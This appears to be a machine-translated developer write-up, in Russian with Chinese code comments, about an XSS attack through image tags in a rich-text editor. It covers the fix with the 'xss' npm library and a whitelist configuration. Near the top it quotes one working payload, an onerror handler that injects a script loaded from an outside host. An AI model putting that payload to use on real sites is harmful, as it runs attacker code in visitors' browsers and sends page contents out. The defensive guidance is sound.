Причиной всего является редактор форматированного текста....
При необходимости измените текстовое поле на форматированный текстовый редактор, чтобы пользователи могли вставлять изображения напрямую, но пользователи подвергаются атаке, загружая изображения в сеть.
код атаки1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';
Когда данные отображаются, изображение сообщает об ошибке и выполняет событие onerror, в результате чего текущая страница делается скриншотом и отправляется в указанный почтовый ящик.
Первоначальное решение состояло в том, чтобы напрямую закрыть редактор форматированного текста для загрузки сетевых изображений, но позже этот тип атаки снова возник, и злоумышленник использовал «скрипач» для изменения параметров для достижения того же эффекта.
Наконец, сторонний подключаемый модуль для защиты от XSS-атак принимается и решается путем настройки белого списка, а также выполняется фильтрация при отправке и получении внутренних данных.
Адрес документа плагина на китайском языке:GitHub.com/Лэй Цзунмин/…
npm install xss
import filterXSS from "xss"
Пользовательские правила фильтрации
вызовxss()
Когда функция фильтруется, пользовательские правила могут быть установлены на втором параметре:
options = {}; // 自定义规则
html = filterXSS('<script>alert("xss");</script>', options);
пройти через whiteList
чтобы указать, формат:{'标签名': ['属性1', '属性2']}
. Теги, которых нет в белом списке, будут отфильтрованы, как и атрибуты, которых нет в белом списке.
let options = {
stripIgnoreTagBody: true, // 不在白名单中的标签以及标签里面的内容直接删除
whiteList: {
h1: ["style"],
h2: ["style"],
h3: ["style"],
h4: ["style"],
h5: ["style"],
h6: ["style"],
hr: ["style"],
span: ["style"],
strong: ["style"],
b: ["style"],
i: ["style"],
br: [],
p: ["style"],
pre: ["style"],
code: ["style"],
a: ["style", "target", "href", "title", "rel"],
img: ["style", "src", "title"],
div: ["style"],
table: ["style", "width", "border"],
tr: ["style"],
td: ["style", "width", "colspan"],
th: ["style", "width", "colspan"],
tbody: ["style"],
ul: ["style"],
li: ["style"],
ol: ["style"],
dl: ["style"],
dt: ["style"],
em: ["style"],
cite: ["style"],
section: ["style"],
header: ["style"],
footer: ["style"],
blockquote: ["style"],
audio: ["autoplay", "controls", "loop", "preload", "src"],
video: [
"autoplay",
"controls",
"loop",
"preload",
"src",
"height",
"width",
],
},
css: {
// 因为上面白名单中允许了标签的style属性,所以需要防止攻击者使用此途径进行攻击
whiteList: {
color: true,
"background-color": true,
width: true,
height: true,
"max-width": true,
"max-height": true,
"min-width": true,
"min-height": true,
"font-size": true,
},
},
}
content = filterXSS(content,options)